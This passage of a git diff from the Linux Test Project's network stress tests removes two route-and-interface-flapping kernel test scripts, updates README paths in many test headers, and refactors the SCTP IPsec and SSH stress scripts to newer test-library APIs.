-LHOST_IPV4_HOST=${LHOST_IPV4_HOST:-"2"}	# src
-RHOST_IPV4_HOST=${RHOST_IPV4_HOST:-"1"}	# gateway
-
-# The destination network
-DST_NETWORK="10.10.10"	# destination network would be 10.10.10.0/24
-DST_HOST="5"
-DST_PORT="7"
-
-
-#-----------------------------------------------------------------------
-#
-# NAME:
-#   do_cleanup
-#
-# DESCRIPTION:
-#   Recover the tested interfaces
-#
-#-----------------------------------------------------------------------
-do_cleanup()
-{
-    # Initialize the interfaces
-    initialize_if lhost ${LINK_NUM}
-    initialize_if rhost ${LINK_NUM}
-}
-
-
-#-----------------------------------------------------------------------
-#
-# NAME:
-#   do_setup
-#
-# DESCRIPTION:
-#   Make a IPv4 connectivity
-#
-# SET VALUES:
-#   rhost_ipv4addr	- IPv4 Address of the remote host
-#   lhost_ifname	- Interface name of the local host
-#   rhost_ifname	- Interface name of the remote host
-#
-#-----------------------------------------------------------------------
-do_setup()
-{
-    # Make sure to clean up
-    do_cleanup
-
-    # Set IPv4 address to the interfaces of the remote host
-    set_ipv4addr rhost ${LINK_NUM} ${IPV4_NETWORK} ${RHOST_IPV4_HOST}
-    if [ $? -ne 0 ]; then
-	tst_resm TBROK "Failed to add an IPv4 address the remote host"
-	exit $TST_TOTAL
-    fi
-    rhost_ipv4addr="${IPV4_NETWORK}.${RHOST_IPV4_HOST}"
-
-    # Assign IPv4 address to the interface of the local host
-    set_ipv4addr lhost ${LINK_NUM} ${IPV4_NETWORK} ${LHOST_IPV4_HOST}
-    if [ $? -ne 0 ]; then
-	tst_resm TBROK "Failed to assign an IPv4 address at the local host"
-	return 1
-    fi
-    lhost_ipv4addr="${IPV4_NETWORK}.${LHOST_IPV4_HOST}"
-
-    # Get the Interface names
-    lhost_ifname=`get_ifname lhost ${LINK_NUM}`
-    if [ $? -ne 0 ]; then
-	tst_resm TBROK "Failed to get the interface name at the local host"
-	exit $TST_TOTAL
-    fi
-
-    rhost_ifname=`get_ifname rhost ${LINK_NUM}`
-    if [ $? -ne 0 ]; then
-	tst_resm TBROK "Failed to get the interface name at the remote host"
-	exit $TST_TOTAL
-    fi
-
-    # Set the variables for destination network
-    dst_addr=${DST_NETWORK}.${DST_HOST}
-    dst_network=${DST_NETWORK}.0
-}
-
-
-#-----------------------------------------------------------------------
-#
-# FUNCTION:
-#   test_body
-#
-# DESCRIPTION:
-#   main code of the test
-#
-# Arguments:
-#   $1: define the test type
-#	1 - route command case
-#	2 - ip command case
-#
-#-----------------------------------------------------------------------
-test_body()
-{
-    test_type=$1
-
-    TCID=route4-ifdown0${test_type}
-    TST_COUNT=$test_type
-
-    case $test_type in
-	1)
-	tst_resm TINFO "Verify the kernel is not crashed when IPv4 route is add by route command then it is deleted by the interface down with ifconfing command in $NS_TIMES times"
-	;;
-	2)
-	tst_resm TINFO "Verify the kernel is not crashed when IPv4 route is add by ip command then it is deleted by the interface down with ip command in $NS_TIMES times"
-	;;
-	*)
-	tst_resm TBROK "unspecified case"
-	return 1
-	;;
-    esac
-
-    # Start the loop
-    cnt=0
-    while [ $cnt -lt $NS_TIMES ]; do
-	# Check the connectivity to the gateway
-	check_icmpv4_connectivity $lhost_ifname $rhost_ipv4addr
-	if [ $? -ne 0 ]; then
-	    tst_resm TBROK "Test Link $LINK_NUM is somthing wrong."
-	    return 1
-	fi
-
-	# Add the route
-	case $test_type in
-	    1)
-	    route add -net $dst_network netmask 255.255.255.0 gw $rhost_ipv4addr dev $lhost_ifname
-	    ;;
-	    2)
-	    ip route add ${dst_network}/24 via $rhost_ipv4addr dev $lhost_ifname
-	    ;;
-	esac
-	if [ $? -ne 0 ]; then
-	    tst_resm TFAIL "Failed to add the route to ${dst_network}/24"
-	    return 1
-	fi
-
-	# Load the route with UDP datagram
-	ns-udpsender -f 4 -D $dst_addr -p $DST_PORT -o -s 1472
-	if [ $? -ne 0 ]; then
-	    tst_resm TFAIL "Failed to run a UDP datagram sender"
-	    return 1
-	fi
-
-	# Down then up the interface
-	case $test_type in
-	    1)
-	    ifconfig $lhost_ifname down && ifconfig $lhost_ifname up
-	    ;;
-	    2)
-	    ip link set down dev $lhost_ifname && ip link set up dev $lhost_ifname
-	    ;;
-	esac
-	if [ $? -ne 0 ]; then
-	    tst_resm TFAIL "Failed to down/up the interface"
-	    return 1
-	fi
-
-	cnt=`expr $cnt + 1`
-    done
-
-    tst_resm TPASS "Test is finished correctly."
-    return 0
-}
-
-
-#-----------------------------------------------------------------------
-#
-# Main
-#
-# Exit Value:
-#   The number of the failure
-#
-#-----------------------------------------------------------------------
-
-RC=0
-do_setup
-test_body 1 || RC=`expr $RC + 1`      # Case of route command
-test_body 2 || RC=`expr $RC + 1`      # Case of ip command
-do_cleanup
-
-exit $RC
diff --git a/testcases/network/stress/route/route4-redirect b/testcases/network/stress/route/route4-redirect
index 9eb8a46..53df9ab 100644
--- a/testcases/network/stress/route/route4-redirect
+++ b/testcases/network/stress/route/route4-redirect
@@ -29,7 +29,7 @@
 #   ICMP Redirects frequently
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/route/route4-rmmod b/testcases/network/stress/route/route4-rmmod
index 36c8c97..5947bb3 100644
--- a/testcases/network/stress/route/route4-rmmod
+++ b/testcases/network/stress/route/route4-rmmod
@@ -29,7 +29,7 @@
 #   by the removing network driver
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/route/route6-change-dst b/testcases/network/stress/route/route6-change-dst
index 33e89e9..2aa9533 100644
--- a/testcases/network/stress/route/route6-change-dst
+++ b/testcases/network/stress/route/route6-change-dst
@@ -31,7 +31,7 @@
 #    test02 - by ip command
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
@@ -242,7 +242,7 @@
 	    ;;
 	esac
 	if [ $? -ne 0 ]; then
-	    tst_resm TFAIL "Cannot delte the route to ${ADDDEL_ROUTE}"
+	    tst_resm TFAIL "Cannot delete the route to ${ADDDEL_ROUTE}"
 	    return 1
 	fi
 
diff --git a/testcases/network/stress/route/route6-change-gw b/testcases/network/stress/route/route6-change-gw
index 6f5e723..05e45b9 100644
--- a/testcases/network/stress/route/route6-change-gw
+++ b/testcases/network/stress/route/route6-change-gw
@@ -30,7 +30,7 @@
 #    test02 - by ip command
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
@@ -245,8 +245,7 @@
 	    route -A inet6 del ${dst_network}/64 gw ${IPV6_NETWORK}:${pre_rhost_part_hex} dev $lhost_ifname
 	    ;;
 	    2)
-	    ip -f inet6 route add ${dst_network}/64 via ${IPV6_NETWORK}:${rhost_part_hex} dev $lhost_ifname
-	    ip -f inet6 route del ${dst_network}/64 via ${IPV6_NETWORK}:${pre_rhost_part_hex} dev $lhost_ifname
+	    ip -f inet6 route change ${dst_network}/64 via ${IPV6_NETWORK}:${rhost_part_hex} dev $lhost_ifname
 	    ;;
 	esac
 	if [ $? -ne 0 ]; then
diff --git a/testcases/network/stress/route/route6-change-if b/testcases/network/stress/route/route6-change-if
index 6d9c346..051ba8b 100644
--- a/testcases/network/stress/route/route6-change-if
+++ b/testcases/network/stress/route/route6-change-if
@@ -31,7 +31,7 @@
 #    test02 - by ip command
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/route/route6-ifdown b/testcases/network/stress/route/route6-ifdown
deleted file mode 100644
index 22f0072..0000000
--- a/testcases/network/stress/route/route6-ifdown
+++ /dev/null
@@ -1,259 +0,0 @@
-#!/bin/sh
-
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2006                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-##                                                                            ##
-################################################################################
-#
-# File:
-#   route6-ifdown
-#
-# Description:
-#   Verify the kernel is not crashed when IPv6 route is add then it is deleted
-#   by the interface down
-#
-# Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
-#
-# Author:
-#   Mitsuru Chinen <mitch@jp.ibm.com>
-#
-# History:
-#	Apr 8 2006 - Created (Mitsuru Chinen)
-#
-#-----------------------------------------------------------------------
-# Uncomment line below for debug output.
-#trace_logic=${trace_logic:-"set -x"}
-$trace_logic
-
-# Make sure the value of LTPROOT
-LTPROOT=${LTPROOT:-`(cd ../../../../ ; pwd)`}
-export LTPROOT
-
-# Total number of the test case
-TST_TOTAL=2
-export TST_TOTAL
-
-# Default of the test case ID and the test case count
-TCID=route6-ifdown
-TST_COUNT=0
-export TCID
-export TST_COUNT
-
-# Check the environmanet variable
-. check_envval || exit $TST_TOTAL
-
-# The number of times where route is add/delete
-NS_TIMES=${NS_TIMES:-10000}
-
-# The number of the test link where tests run
-LINK_NUM=${LINK_NUM:-0}
-
-# Network portion of the IPv6 address
-IPV6_NETWORK="fec0:1:1:1"
-
-# Netmask of for the tested network
-IPV6_NETMASK_NUM=64
-
-# Host portion of the IPv6 address
-LHOST_IPV6_HOST=":2"	# src
-RHOST_IPV6_HOST=":1"	# gateway
-
-# The destination network
-DST_NETWORK="fec0:100:100:100"	# destination network
-DST_HOST=":5"
-DST_PORT="7"
-
-
-#-----------------------------------------------------------------------
-#
-# NAME:
-#   do_cleanup
-#
-# DESCRIPTION:
-#   Recover the tested interfaces
-#
-#-----------------------------------------------------------------------
-do_cleanup()
-{
-    # Initialize the interfaces
-    initialize_if lhost ${LINK_NUM}
-    initialize_if rhost ${LINK_NUM}
-}
-
-
-#-----------------------------------------------------------------------
-#
-# NAME:
-#   do_setup
-#
-# DESCRIPTION:
-#   Make a IPv6 connectivity
-#
-# SET VALUES:
-#   rhost_ipv6addr	- IPv6 Address of the remote host
-#   lhost_ifname	- Interface name of the local host
-#   rhost_ifname	- Interface name of the remote host
-#
-#-----------------------------------------------------------------------
-do_setup()
-{
-    # Make sure to clean up
-    do_cleanup
-
-    # IP addres of the local host
-    lhost_ipv6addr="${IPV6_NETWORK}:${LHOST_IPV6_HOST}"
-
-    # Set IPv6 address to the interfaces of the remote host
-    add_ipv6addr rhost ${LINK_NUM} ${IPV6_NETWORK} ${RHOST_IPV6_HOST}
-    if [ $? -ne 0 ]; then
-	tst_resm TBROK "Failed to add an IPv6 address the remote host"
-	exit $TST_TOTAL
-    fi
-    rhost_ipv6addr="${IPV6_NETWORK}:${RHOST_IPV6_HOST}"
-
-    # Get the Interface names
-    lhost_ifname=`get_ifname lhost ${LINK_NUM}`
-    if [ $? -ne 0 ]; then
-	tst_resm TBROK "Failed to get the interface name at the local host"
-	exit $TST_TOTAL
-    fi
-
-    rhost_ifname=`get_ifname rhost ${LINK_NUM}`
-    if [ $? -ne 0 ]; then
-	tst_resm TBROK "Failed to get the interface name at the remote host"
-	exit $TST_TOTAL
-    fi
-
-    # Set the variables for destination network
-    dst_addr=${DST_NETWORK}:${DST_HOST}
-    dst_network=${DST_NETWORK}::
-}
-
-
-#-----------------------------------------------------------------------
-#
-# FUNCTION:
-#   test_body
-#
-# DESCRIPTION:
-#   main code of the test
-#
-# Arguments:
-#   $1: define the test type
-#	1 - route command case
-#	2 - ip command case
-#
-#-----------------------------------------------------------------------
-test_body()
-{
-    test_type=$1
-
-    TCID=route6-ifdown0${test_type}
-    TST_COUNT=$test_type
-
-    case $test_type in
-	1)
-	tst_resm TINFO "Verify the kernel is not crashed when IPv6 route is add by route command then it is deleted by the interface down with ifconfing command in $NS_TIMES times"
-	;;
-	2)
-	tst_resm TINFO "Verify the kernel is not crashed when IPv6 route is add by ip command then it is deleted by the interface down with ip command in $NS_TIMES times"
-	;;
-	*)
-	tst_resm TBROK "unspecified case"
-	return 1
-	;;
-    esac
-
-    # Start the loop
-    cnt=0
-    while [ $cnt -lt $NS_TIMES ]; do
-	# Assign IPv6 address to the interface of the local host
-	add_ipv6addr lhost ${LINK_NUM} ${IPV6_NETWORK} ${LHOST_IPV6_HOST}
-	if [ $? -ne 0 ]; then
-	    tst_resm TBROK "Failed to assign an IPv6 address at the local host"
-	    return 1
-	fi
-
-	# Check the connectivity to the gateway
-	check_icmpv6_connectivity $lhost_ifname $rhost_ipv6addr
-	if [ $? -ne 0 ]; then
-	    tst_resm TBROK "Test Link $LINK_NUM is somthing wrong."
-	    return 1
-	fi
-
-	# Add the route
-	case $test_type in
-	    1)
-	    route -A inet6 add ${dst_network}/64 gw $rhost_ipv6addr dev $lhost_ifname
-	    ;;
-	    2)
-	    ip -f inet6 route add ${dst_network}/64 via $rhost_ipv6addr dev $lhost_ifname
-	    ;;
-	esac
-	if [ $? -ne 0 ]; then
-	    tst_resm TFAIL "Failed to add the route to ${dst_network}/64"
-	    return 1
-	fi
-
-	# Load the route with UDP datagram
-	ns-udpsender -f 6 -D $dst_addr -p $DST_PORT -o -s 1452
-	if [ $? -ne 0 ]; then
-	    tst_resm TFAIL "Failed to run a UDP datagram sender"
-	    return 1
-	fi
-
-	# Down then up the interface
-	case $test_type in
-	    1)
-	    ifconfig $lhost_ifname down && ifconfig $lhost_ifname up
-	    ;;
-	    2)
-	    ip link set down dev $lhost_ifname && ip link set up dev $lhost_ifname
-	    ;;
-	esac
-	if [ $? -ne 0 ]; then
-	    tst_resm TFAIL "Failed to down/up the interface"
-	    return 1
-	fi
-
-	cnt=`expr $cnt + 1`
-    done
-
-    tst_resm TPASS "Test is finished correctly."
-    return 0
-}
-
-
-#-----------------------------------------------------------------------
-#
-# Main
-#
-# Exit Value:
-#   The number of the failure
-#
-#-----------------------------------------------------------------------
-
-RC=0
-do_setup
-test_body 1 || RC=`expr $RC + 1`      # Case of route command
-test_body 2 || RC=`expr $RC + 1`      # Case of ip command
-do_cleanup
-
-exit $RC
diff --git a/testcases/network/stress/route/route6-redirect b/testcases/network/stress/route/route6-redirect
index 1c31b62..e12c7c8 100644
--- a/testcases/network/stress/route/route6-redirect
+++ b/testcases/network/stress/route/route6-redirect
@@ -29,7 +29,7 @@
 #   ICMP Redirects frequently
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/route/route6-rmmod b/testcases/network/stress/route/route6-rmmod
index 640cc06..73f26f2 100644
--- a/testcases/network/stress/route/route6-rmmod
+++ b/testcases/network/stress/route/route6-rmmod
@@ -29,7 +29,7 @@
 #   by the removing network driver
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/sctp/sctp_ipsec.sh b/testcases/network/stress/sctp/sctp_ipsec.sh
index 677ccbf..8a7b885 100755
--- a/testcases/network/stress/sctp/sctp_ipsec.sh
+++ b/testcases/network/stress/sctp/sctp_ipsec.sh
@@ -1,47 +1,19 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
-TCID=sctp_ipsec
-TST_TOTAL=3
 TST_NEEDS_TMPDIR=1
-TST_CLEANUP="tst_ipsec_cleanup"
-
+TST_TESTFUNC=do_test
+TST_SETUP=tst_ipsec_setup
+TST_CLEANUP=tst_ipsec_cleanup
 . ipsec_lib.sh
 
-do_setup()
-{
-	# Configure SAD/SPD
-	if [ -n "$IPSEC_MODE" -a -n "$IPSEC_PROTO" ]; then
-		tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
-		tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
-	fi
-}
-
 do_test()
 {
-	for p in $IPSEC_SIZE_ARRAY; do
-		tst_netload -H $(tst_ipaddr rhost) -T sctp -n $p -N $p \
-			-r $IPSEC_REQUESTS -S $(tst_ipaddr)
-	done
+	tst_netload -H $(tst_ipaddr rhost) -T sctp -n $2 -N $2 \
+		-r $IPSEC_REQUESTS -S $(tst_ipaddr)
 }
 
-do_setup
-
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/sctp/sctp_ipsec_vti.sh b/testcases/network/stress/sctp/sctp_ipsec_vti.sh
index 3fa3a73..d0f24c7 100755
--- a/testcases/network/stress/sctp/sctp_ipsec_vti.sh
+++ b/testcases/network/stress/sctp/sctp_ipsec_vti.sh
@@ -1,38 +1,19 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
-TCID=sctp_ipsec_vti
-TST_TOTAL=3
 TST_NEEDS_TMPDIR=1
-TST_CLEANUP="tst_ipsec_cleanup"
-
+TST_SETUP=tst_ipsec_setup_vti
+TST_CLEANUP=tst_ipsec_cleanup
+TST_TESTFUNC=do_test
 . ipsec_lib.sh
 
 do_test()
 {
-	for p in $IPSEC_SIZE_ARRAY; do
-		tst_netload -H $ip_rmt_tun -T sctp -n $p -N $p \
-			-r $IPSEC_REQUESTS -S $ip_loc_tun
-	done
+	tst_netload -H $ip_rmt_tun -T sctp -n $2 -N $2 -r $IPSEC_REQUESTS \
+		-S $ip_loc_tun
 }
 
-tst_ipsec_setup_vti
-
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/ssh/ssh-stress b/testcases/network/stress/ssh/ssh-stress
index 3fdb5c2..6bedd50 100644
--- a/testcases/network/stress/ssh/ssh-stress
+++ b/testcases/network/stress/ssh/ssh-stress
@@ -24,7 +24,8 @@
 TST_TOTAL=3
 TST_CLEANUP="cleanup"
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 # Temporary directory to store sshd setting or ssh key
 # Note: ssh doesn't work when those directory is under /tmp.
@@ -45,18 +46,16 @@
 	trap "tst_brkm TBROK 'test interrupted'" INT
 
 	tst_require_root
-	tst_check_cmds pkill sshd ssh od
-
-	ipver=${TST_IPV6:-"4"}
+	tst_test_cmds pkill sshd ssh od
 
 	# Get the sshd command with absolute path
 	SSHD=$(which sshd)
 	test "$SSHD" || tst_brkm TBROK "sshd daemon is not found"
 
-	check_icmpv${ipver}_connectivity $(tst_iface) $(tst_ipaddr rhost) || \
+	check_icmpv${TST_IPVER}_connectivity $(tst_iface) $(tst_ipaddr rhost) || \
 		tst_brkm TBROK "Failed to ping to $(tst_ipaddr rhost)"
 
-	port=$(tst_rhost_run -c "tst_get_unused_port ipv${ipver} stream")
+	port=$(tst_rhost_run -c "tst_get_unused_port ipv${TST_IPVER} stream")
 
 	tst_tmpdir
 
@@ -107,7 +106,7 @@
 {
 	tst_resm TINFO "Creating '$CONNECTION_TOTAL' ssh sessions"
 
-	tst_rhost_run -s -c "ssh-stress01-rmt $ipver $(tst_ipaddr) \
+	tst_rhost_run -s -c "ssh-stress01-rmt $TST_IPVER $(tst_ipaddr) \
 		$rconfig $CONNECTION_TOTAL"
 
 	tst_resm TPASS "Test is finished successfully"
@@ -118,7 +117,7 @@
 	tst_resm TINFO "Log in/out by many clients asynchronously"
 	tst_resm TINFO "'$CONNECTION_TOTAL' clients, time $NS_DURATION sec"
 
-	tst_rhost_run -s -c "ssh-stress02-rmt $ipver $(tst_ipaddr) \
+	tst_rhost_run -s -c "ssh-stress02-rmt $TST_IPVER $(tst_ipaddr) \
 		$rconfig $CONNECTION_TOTAL $NS_DURATION"
 
 	tst_resm TPASS "Test is finished successfully"
@@ -129,11 +128,11 @@
 	tst_resm TINFO "Forwarding TCP traffic with $NS_TIMES requests"
 
 	# Run a TCP traffic server
-	port=$(tst_get_unused_port ipv${ipver} stream)
+	port=$(tst_get_unused_port ipv${TST_IPVER} stream)
 
 	netstress -R 3 -g $port > tcp_server.log 2>&1 &
 
-	tst_rhost_run -s -c "ssh-stress03-rmt $ipver $(tst_ipaddr) \
+	tst_rhost_run -s -c "ssh-stress03-rmt $TST_IPVER $(tst_ipaddr) \
 		$rconfig $port $NS_TIMES"
 
 	tst_resm TPASS "Test is finished successfully"
diff --git a/testcases/network/stress/ssh/ssh-stress01-rmt b/testcases/network/stress/ssh/ssh-stress01-rmt
index 2a84957..b2f6579 100644
--- a/testcases/network/stress/ssh/ssh-stress01-rmt
+++ b/testcases/network/stress/ssh/ssh-stress01-rmt
@@ -53,10 +53,7 @@
 # Disconnect all ssh connection
 all_conn=$(ps auxw | grep -Fv grep | \
 	grep "ssh[[:blank:]].*${ssh_config}" | awk '{print $2}')
-
-for ssh_pid in "$all_conn"; do
-	kill $ssh_pid
-done
+kill $all_conn
 
 # Check the connectivity again
 ssh -$ip_ver -F $ssh_config $server_ipaddr \
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip01 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip01
index 9995977..c96942f 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip01
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip01
@@ -34,7 +34,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip02 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip02
index 9b4439c..13ee525 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip02
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip02
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip03 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip03
index 363d4a1..2812986 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip03
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip04 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip04
index c29d2b0..8549e02 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip04
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip04
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip05 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip05
index a08d4bf..befd1c0 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip05
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip06 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip06
index 474024b..69fd4fb 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip06
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip07 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip07
index 9fb06e4..944ed60 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip07
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip07
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip08 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip08
index 3b0178e..e8a5537 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip08
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip08
@@ -32,7 +32,7 @@
 #     - IPsec is not used
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip09 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip09
index f110b3e..1efd34e 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip09
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip09
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip10 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip10
index 49a6684..46a02ff 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip10
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip10
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip11 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip11
index 23c13db..ec2a6fa 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip11
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip11
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip12 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip12
index 41aedd8..1975255 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip12
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip12
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
